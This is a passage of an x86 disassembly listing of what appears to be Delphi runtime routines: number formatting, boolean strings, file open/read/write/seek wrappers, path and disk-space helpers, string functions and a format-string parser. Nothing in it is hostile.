loc_200071FE:				; CODE XREF: sub_200071B4+21j
		fild	qword ptr [eax]


loc_20007200:				; CODE XREF: sub_200071B4+48j
		fild	[esp+8+var_8]
		fld	st(1)


loc_20007205:				; CODE XREF: sub_200071B4+6Ej
		dec	esi
		fprem
		fistp	[esp+8+var_8]
		fdiv	st(1), st
		mov	al, byte ptr [esp+8+var_8]
		add	al, 30h
		cmp	al, 3Ah
		jb	short loc_20007218
		add	al, 7


loc_20007218:				; CODE XREF: sub_200071B4+60j
		mov	[esi], al
		fld	st(1)
		fcom	st(3)
		fstsw	ax
		sahf
		jnb	short loc_20007205
		fldcw	[esp+8+var_6]
		add	esp, 4
		ffree	st(3)
		ffree	st(2)
		ffree	st(1)
		ffree	st
		pop	ecx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_2000724A
		sub	esi, edx
		mov	al, 30h
		add	ecx, edx
		jmp	short loc_20007245
; ---------------------------------------------------------------------------


loc_20007242:				; CODE XREF: sub_200071B4+92j
		mov	[edx+esi], al


loc_20007245:				; CODE XREF: sub_200071B4+8Cj
		dec	edx
		jnz	short loc_20007242
		mov	[esi], al

locret_2000724A:			; CODE XREF: sub_200071B4+84j
		retn
sub_200071B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000724C	proc near		; CODE XREF: sub_2000DD44+219p
					; sub_2000DD44+236p ...

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		sub	esp, 20h
		xor	ecx, ecx
		push	eax
		xor	edx, edx
		lea	eax, [ebp+arg_0]
		call	sub_20007180
		mov	edx, esi
		pop	eax
		call	sub_20004098
		add	esp, 20h
		pop	esi
		pop	ebp
		retn	8
sub_2000724C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007274	proc near		; CODE XREF: sub_2000EB50+CDp
		cmp	edx, 20h
		jbe	short loc_2000727B
		xor	edx, edx


loc_2000727B:				; CODE XREF: sub_20007274+3j
		push	esi
		mov	esi, esp
		sub	esp, 20h
		push	ecx
		mov	ecx, 10h
		call	sub_20007114
		mov	edx, esi
		pop	eax
		call	sub_20004098
		add	esp, 20h
		pop	esi
		retn
sub_20007274	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000729C	proc near		; CODE XREF: sub_20009F38+3Ep
					; sub_20009FB0+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_20002F88
		cmp	[esp+8+var_8], 0
		jz	short loc_200072AF
		mov	eax, ebx


loc_200072AF:				; CODE XREF: sub_2000729C+Fj
		pop	edx
		pop	ebx
		retn
sub_2000729C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200072B4	proc near		; CODE XREF: sub_2000C1F0+35p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_20002F88
		mov	[esi], eax
		cmp	[esp+0Ch+var_C], 0
		setz	al
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_200072B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200072D4	proc near		; CODE XREF: sub_200073A0:loc_200073CEp
					; sub_2000743C+Ap
		mov	eax, ds:dword_2001579C
		call	sub_20004C88
		test	eax, eax
		jnz	short loc_2000730B
		push	1
		mov	eax, offset dword_2001579C
		mov	ecx, 1
		mov	edx, off_20006D48
		call	sub_20004E44
		add	esp, 4
		mov	eax, ds:dword_2001579C
		mov	edx, offset aTrue ; "True"
		call	sub_20003FFC


loc_2000730B:				; CODE XREF: sub_200072D4+Cj
		mov	eax, ds:dword_200157A0
		call	sub_20004C88
		test	eax, eax
		jnz	short locret_20007342
		push	1
		mov	eax, offset dword_200157A0
		mov	ecx, 1
		mov	edx, off_20006D6C
		call	sub_20004E44
		add	esp, 4
		mov	eax, ds:dword_200157A0
		mov	edx, offset aFalse ; "False"
		call	sub_20003FFC

locret_20007342:			; CODE XREF: sub_200072D4+43j
		retn
sub_200072D4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 4
aTrue		db 'True',0             ; DATA XREF: sub_200072D4+2Do
		align 4
		dd 0FFFFFFFFh, 5
aFalse		db 'False',0            ; DATA XREF: sub_200072D4+64o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007364	proc near		; CODE XREF: sub_200073A0+45p
					; sub_200073A0+68p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		mov	esi, edx
		test	esi, esi
		jl	short loc_20007395
		inc	esi
		mov	ebx, eax


loc_20007378:				; CODE XREF: sub_20007364+2Fj
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	edx, [ebx]
		call	sub_200070AC
		test	al, al
		jz	short loc_2000738F
		mov	[ebp+var_1], 1
		jmp	short loc_20007395
; ---------------------------------------------------------------------------


loc_2000738F:				; CODE XREF: sub_20007364+23j
		add	ebx, 4
		dec	esi
		jnz	short loc_20007378


loc_20007395:				; CODE XREF: sub_20007364+Fj
					; sub_20007364+29j
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20007364	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200073A0	proc near		; CODE XREF: sub_2000C40C+3Bp

var_10		= tbyte	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_200083F0
		mov	edx, eax
		test	dl, dl
		jz	short loc_200073CE
		fld	[ebp+var_10]
		fcomp	flt_20007420
		fnstsw	ax
		sahf
		setnz	byte ptr [ebx]
		jmp	short loc_20007417
; ---------------------------------------------------------------------------


loc_200073CE:				; CODE XREF: sub_200073A0+1Bj
		call	sub_200072D4
		push	ebp
		mov	eax, ds:dword_2001579C
		call	sub_20004C90
		mov	edx, eax
		mov	eax, ds:dword_2001579C
		call	sub_20007364
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_200073F6
		mov	byte ptr [ebx],	1
		jmp	short loc_20007417
; ---------------------------------------------------------------------------


loc_200073F6:				; CODE XREF: sub_200073A0+4Fj
		push	ebp
		mov	eax, ds:dword_200157A0
		call	sub_20004C90
		mov	edx, eax
		mov	eax, ds:dword_200157A0
		call	sub_20007364
		pop	ecx
		mov	edx, eax
		test	dl, dl
		jz	short loc_20007417
		mov	byte ptr [ebx],	0


loc_20007417:				; CODE XREF: sub_200073A0+2Cj
					; sub_200073A0+54j ...
		mov	eax, edx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200073A0	endp

; ---------------------------------------------------------------------------
		align 10h
flt_20007420	dd 0.0			; DATA XREF: sub_200073A0+20r
		dd 0FFFFFFFFh, 1
dword_2000742C	dd 30h,	0FFFFFFFFh, 2, 312Dh ; DATA XREF: DATA:off_20014154o
					; DATA:20014158o

; =============== S U B	R O U T	I N E =======================================



sub_2000743C	proc near		; CODE XREF: sub_2000C56C+3Cp
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		test	dl, dl
		jz	short loc_20007472
		call	sub_200072D4
		test	bl, bl
		jz	short loc_20007460
		mov	eax, esi
		mov	edx, ds:dword_2001579C
		mov	edx, [edx]
		call	sub_20003FFC
		jmp	short loc_20007484
; ---------------------------------------------------------------------------


loc_20007460:				; CODE XREF: sub_2000743C+11j
		mov	eax, esi
		mov	edx, ds:dword_200157A0
		mov	edx, [edx]
		call	sub_20003FFC
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20007472:				; CODE XREF: sub_2000743C+8j
		mov	eax, esi
		xor	edx, edx
		mov	dl, bl
		mov	edx, ds:off_20014154[edx*4]
		call	sub_20003FFC


loc_20007484:				; CODE XREF: sub_2000743C+22j
		pop	esi
		pop	ebx
		retn
sub_2000743C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007488	proc near		; CODE XREF: sub_20011AF8+B0p
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	edi, eax
		or	eax, 0FFFFFFFFh
		mov	esi, ebx
		and	esi, 3
		cmp	esi, 2
		ja	short loc_200074DB
		mov	edx, ebx
		and	edx, 0F0h
		cmp	edx, 40h
		ja	short loc_200074DB
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		mov	eax, ebx
		and	eax, 0F0h
		shr	eax, 4
		mov	eax, ds:dwShareMode[eax*4]
		push	eax		; dwShareMode
		mov	eax, ds:dwDesiredAccess[esi*4]
		push	eax		; dwDesiredAccess
		mov	eax, edi
		call	sub_20004444
		push	eax		; lpFileName
		call	CreateFileA_0


loc_200074DB:				; CODE XREF: sub_20007488+12j
					; sub_20007488+1Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20007488	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200074E0	proc near		; CODE XREF: sub_20007504p
		push	ebx
		mov	ebx, eax
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	0C0000000h	; dwDesiredAccess
		mov	eax, ebx
		call	sub_20004444
		push	eax		; lpFileName
		call	CreateFileA_0
		pop	ebx
		retn
sub_200074E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_20007504	proc near		; CODE XREF: sub_20011AF8+47p
		call	sub_200074E0
		retn
sub_20007504	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_2000750C(DWORD nNumberOfBytesToRead, LPVOID lpBuffer)

sub_2000750C	proc near		; CODE XREF: sub_20011A2C+3p

NumberOfBytesRead= dword ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	0		; lpOverlapped
		lea	eax, [esp+14h+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nNumberOfBytesToRead
		push	esi		; lpBuffer
		push	ebx		; hFile
		call	ReadFile_0
		test	eax, eax
		jnz	short loc_20007530
		mov	[esp+10h+NumberOfBytesRead], 0FFFFFFFFh


loc_20007530:				; CODE XREF: sub_2000750C+1Bj
		mov	eax, [esp+10h+NumberOfBytesRead]
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000750C	endp


; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_20007538(DWORD nNumberOfBytesToWrite, LPCVOID lpBuffer)

sub_20007538	proc near		; CODE XREF: sub_20011A3C+3p

NumberOfBytesWritten= dword ptr	-10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	0		; lpOverlapped
		lea	eax, [esp+14h+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	edi		; nNumberOfBytesToWrite
		push	esi		; lpBuffer
		push	ebx		; hFile
		call	WriteFile_0
		test	eax, eax
		jnz	short loc_2000755C
		mov	[esp+10h+NumberOfBytesWritten],	0FFFFFFFFh


loc_2000755C:				; CODE XREF: sub_20007538+1Bj
		mov	eax, [esp+10h+NumberOfBytesWritten]
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20007538	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20007564	proc near		; CODE XREF: sub_20011A4C+12p

lDistanceToMove	= dword	ptr -8
DistanceToMoveHigh= dword ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+lDistanceToMove], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+DistanceToMoveHigh], eax
		push	esi		; dwMoveMethod
		lea	eax, [ebp+DistanceToMoveHigh]
		push	eax		; lpDistanceToMoveHigh
		mov	eax, [ebp+lDistanceToMove]
		push	eax		; lDistanceToMove
		push	ebx		; hFile
		call	SetFilePointer_0
		mov	[ebp+lDistanceToMove], eax
		mov	eax, [ebp+lDistanceToMove]
		mov	edx, [ebp+DistanceToMoveHigh]
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_20007564	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000759C	proc near		; CODE XREF: sub_20011C4C+12p
		push	eax		; hObject
		call	CloseHandle_0
		retn
sub_2000759C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200075A4	proc near		; CODE XREF: sub_200075F4+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_20004244
		mov	edi, eax
		mov	eax, ebx
		call	sub_20004444
		mov	ebp, eax
		test	edi, edi
		jle	short loc_200075EA


loc_200075C2:				; CODE XREF: sub_200075A4+44j
		mov	bl, [esi+edi-1]
		test	bl, bl
		jz	short loc_200075E5
		mov	edx, ebx
		mov	eax, ebp
		call	sub_2000777C
		test	eax, eax
		jz	short loc_200075E5
		mov	edx, edi
		mov	eax, esi
		call	sub_2000AD8C
		cmp	al, 2
		jnz	short loc_200075EA
		dec	edi


loc_200075E5:				; CODE XREF: sub_200075A4+24j
					; sub_200075A4+31j
		dec	edi
		test	edi, edi
		jg	short loc_200075C2


loc_200075EA:				; CODE XREF: sub_200075A4+1Cj
					; sub_200075A4+3Ej
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200075A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200075F4	proc near		; CODE XREF: sub_2000A8F8+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_20007628
		call	sub_200075A4
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_200044A4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200075F4	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_20007628	dd 3A5Ch		; DATA XREF: sub_200075F4+9o

; =============== S U B	R O U T	I N E =======================================



sub_2000762C	proc near		; CODE XREF: sub_20011AF8+66p
					; sub_20011AF8+CBp

Buffer		= byte ptr -10Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	esi, edx
		mov	ebx, eax
		push	esp		; lpFilePart
		lea	eax, [esp+114h+Buffer]
		push	eax		; lpBuffer
		push	104h		; nBufferLength
		mov	eax, ebx
		call	sub_20004444
		push	eax		; lpFileName
		call	GetFullPathNameA
		mov	ecx, eax
		lea	edx, [esp+110h+Buffer]
		mov	eax, esi
		call	sub_20004098
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_2000762C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_20007668(LPCSTR lpRootPathName, int, int, int)

sub_20007668	proc near		; DATA XREF: sub_2000B828+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
TotalNumberOfClusters= dword ptr -10h
NumberOfFreeClusters= dword ptr	-0Ch
BytesPerSector	= dword	ptr -8
SectorsPerCluster= dword ptr -4
lpRootPathName	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+lpRootPathName]
		test	eax, eax
		jnz	short loc_20007678
		xor	eax, eax


loc_20007678:				; CODE XREF: sub_20007668+Cj
		lea	edx, [ebp+TotalNumberOfClusters]
		push	edx		; lpTotalNumberOfClusters
		lea	edx, [ebp+NumberOfFreeClusters]
		push	edx		; lpNumberOfFreeClusters
		lea	edx, [ebp+BytesPerSector]
		push	edx		; lpBytesPerSector
		lea	edx, [ebp+SectorsPerCluster]
		push	edx		; lpSectorsPerCluster
		push	eax		; lpRootPathName
		call	GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+SectorsPerCluster]
		imul	[ebp+BytesPerSector]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+NumberOfFreeClusters]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_20004C64
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+TotalNumberOfClusters]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_20004C64
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_20007668	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200076DC	proc near		; CODE XREF: sub_200077F8+Fp
					; sub_20007C24+16p ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_200076DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200076F4	proc near		; CODE XREF: sub_200077F8+22p
					; sub_20007824+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_200027FC
		mov	eax, esi
		pop	esi
		retn
sub_200076F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007704	proc near		; CODE XREF: CODE:2000A325p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_20007718
		repne scasb
		jnz	short loc_20007718
		inc	ecx


loc_20007718:				; CODE XREF: sub_20007704+Dj
					; sub_20007704+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_20007704	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007738	proc near		; CODE XREF: sub_20008C00+384p
					; sub_20008C00+399p ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_20007776
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx


loc_20007751:				; CODE XREF: sub_20007738+3Cj
		repe cmpsb
		jz	short loc_20007776
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_20007762
		cmp	al, 7Ah
		ja	short loc_20007762
		sub	al, 20h


loc_20007762:				; CODE XREF: sub_20007738+22j
					; sub_20007738+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_20007772
		cmp	dl, 7Ah
		ja	short loc_20007772
		sub	dl, 20h


loc_20007772:				; CODE XREF: sub_20007738+30j
					; sub_20007738+35j
		sub	eax, edx
		jz	short loc_20007751


loc_20007776:				; CODE XREF: sub_20007738+Dj
					; sub_20007738+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_20007738	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000777C	proc near		; CODE XREF: sub_200075A4+2Ap
					; sub_2000B13C+Bp ...
		jmp	short loc_20007786
; ---------------------------------------------------------------------------


loc_2000777E:				; CODE XREF: sub_2000777C+Ej
		test	cl, cl
		jnz	short loc_20007785
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_20007785:				; CODE XREF: sub_2000777C+4j
		inc	eax


loc_20007786:				; CODE XREF: sub_2000777Cj
		mov	cl, [eax]
		cmp	dl, cl
		jnz	short loc_2000777E
		retn
sub_2000777C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20007790	proc near		; CODE XREF: sub_2000B074+3Bp
					; sub_2000B074+7Cp
		push	edi
		push	esi
		push	ebx
		or	eax, eax
		jz	short loc_200077DB
		or	edx, edx
		jz	short loc_200077DB
		mov	ebx, eax
		mov	edi, edx
		xor	al, al
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_200077DB
		mov	esi, ecx
		mov	edi, ebx
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	ecx, esi
		jbe	short loc_200077DB
		mov	edi, ebx
		lea	ebx, [esi-1]


loc_200077C3:				; CODE XREF: sub_20007790+44j
		mov	esi, edx
		lodsb
		repne scasb
		jnz	short loc_200077DB
		mov	eax, ecx
		push	edi
		mov	ecx, ebx
		repe cmpsb
		pop	edi
		mov	ecx, eax
		jnz	short loc_200077C3
		lea	eax, [edi-1]
		jmp	short loc_200077DD
; ---------------------------------------------------------------------------


loc_200077DB:				; CODE XREF: sub_20007790+5j
					; sub_20007790+9j ...
		xor	eax, eax


loc_200077DD:				; CODE XREF: sub_20007790+49j
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_20007790	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200077E4	proc near		; CODE XREF: sub_200077F8+19p
		push	ebx
		mov	ebx, eax
		add	ebx, 4
		mov	eax, ebx
		call	sub_20002668
		mov	[eax], ebx
		add	eax, 4
		pop	ebx
		retn
sub_200077E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_200077F8	proc near		; CODE XREF: sub_200108E4+28p
		push	ebx
		push	esi
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_20007805
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20007805:				; CODE XREF: sub_200077F8+6j
		mov	eax, ebx
		call	sub_200076DC
		mov	esi, eax
		inc	esi
		mov	eax, esi
		call	sub_200077E4
		mov	ecx, esi
		mov	edx, ebx
		call	sub_200076F4
		pop	esi
		pop	ebx
		retn
sub_200077F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20007824	proc near		; CODE XREF: sub_200079D6+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_2000783A
		mov	ebx, 1Fh


loc_2000783A:				; CODE XREF: sub_20007824+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_2000ADB0
		cmp	al, 1
		jnz	short loc_20007849
		dec	ebx


loc_20007849:				; CODE XREF: sub_20007824+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_200076F4
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, ds:off_2001417C[edi*4]
		xor	ecx, ecx
		call	sub_20006F08
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20007824	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000787C	proc near		; CODE XREF: sub_200079D6+114p
		push	ebx
		mov	ecx, ds:off_2001458C
		cmp	dword ptr [ecx], 0
		jz	short loc_20007894
		mov	ebx, ds:off_2001458C
		mov	ebx, [ebx]
		call	ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20007894:				; CODE XREF: sub_2000787C+Aj
		mov	al, 10h
		call	sub_20002750
sub_2000787C	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200078A0	proc near		; CODE XREF: sub_200078AC+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_20003FA8
		pop	ebx
		retn
sub_200078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200078AC	proc near		; CODE XREF: sub_20007C24+2Ap
					; sub_20007C78+4Ap ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 20007C13 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax


loc_200078D5:				; CODE XREF: sub_200078AC+DDj
		or	edx, edx
		jz	short loc_200078E6


loc_200078D9:				; CODE XREF: sub_200078AC+38j
		cmp	esi, ecx
		jz	short loc_200078E6
		lodsb
		cmp	al, 25h
		jz	short loc_200078F0


loc_200078E2:				; CODE XREF: sub_200078AC+4Bj
		stosb
		dec	edx
		jnz	short loc_200078D9


loc_200078E6:				; CODE XREF: sub_200078AC+2Bj
					; sub_200078AC+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_20007C13
; ---------------------------------------------------------------------------


loc_200078F0:				; CODE XREF: sub_200078AC+34j
		cmp	esi, ecx
		jz	short loc_200078E6
		lodsb
		cmp	al, 25h
		jz	short loc_200078E2
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx


loc_200078FF:				; CODE XREF: sub_200078AC+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_2000790B
		cmp	esi, ecx
		jz	short loc_200078E6
		lodsb


loc_2000790B:				; CODE XREF: sub_200078AC+58j
		call	sub_2000798E
		cmp	al, 3Ah
		jnz	short loc_2000791E
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_200078E6
		lodsb
		jmp	short loc_200078FF
; ---------------------------------------------------------------------------


loc_2000791E:				; CODE XREF: sub_200078AC+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_20007934
		cmp	esi, ecx
		jz	short loc_200078E6
		lodsb
		call	sub_2000798E


loc_20007934:				; CODE XREF: sub_200078AC+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_200079D6
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_2000794B
		xor	ebx, ebx


loc_2000794B:				; CODE XREF: sub_200078AC+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_2000795B
		sub	edx, ecx
		jnb	short loc_20007959
		add	ecx, edx
		xor	edx, edx


loc_20007959:				; CODE XREF: sub_200078AC+A7j
		rep movsb


loc_2000795B:				; CODE XREF: sub_200078AC+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_20007965
		add	ecx, edx
		xor	edx, edx


loc_20007965:				; CODE XREF: sub_200078AC+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_20007973
		add	ecx, edx
		xor	edx, edx


loc_20007973:				; CODE XREF: sub_200078AC+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_20007985
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_200078A0
		pop	edx


loc_20007985:				; CODE XREF: sub_200078AC+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_200078D5
sub_200078AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000798E	proc near		; CODE XREF: sub_200078AC:loc_2000790Bp
					; sub_200078AC+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_200079B6


loc_20007994:				; CODE XREF: sub_2000798E+20j
		cmp	al, 30h
		jb	short locret_200079D5
		cmp	al, 39h
		ja	short locret_200079D5
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_200079B0
		lodsb
		jmp	short loc_20007994
; ---------------------------------------------------------------------------


loc_200079B0:				; CODE XREF: sub_2000798E+1Dj
					; sub_2000798E+44j
		pop	eax
		jmp	loc_200078E6
; ---------------------------------------------------------------------------


loc_200079B6:				; CODE XREF: sub_2000798E+4j
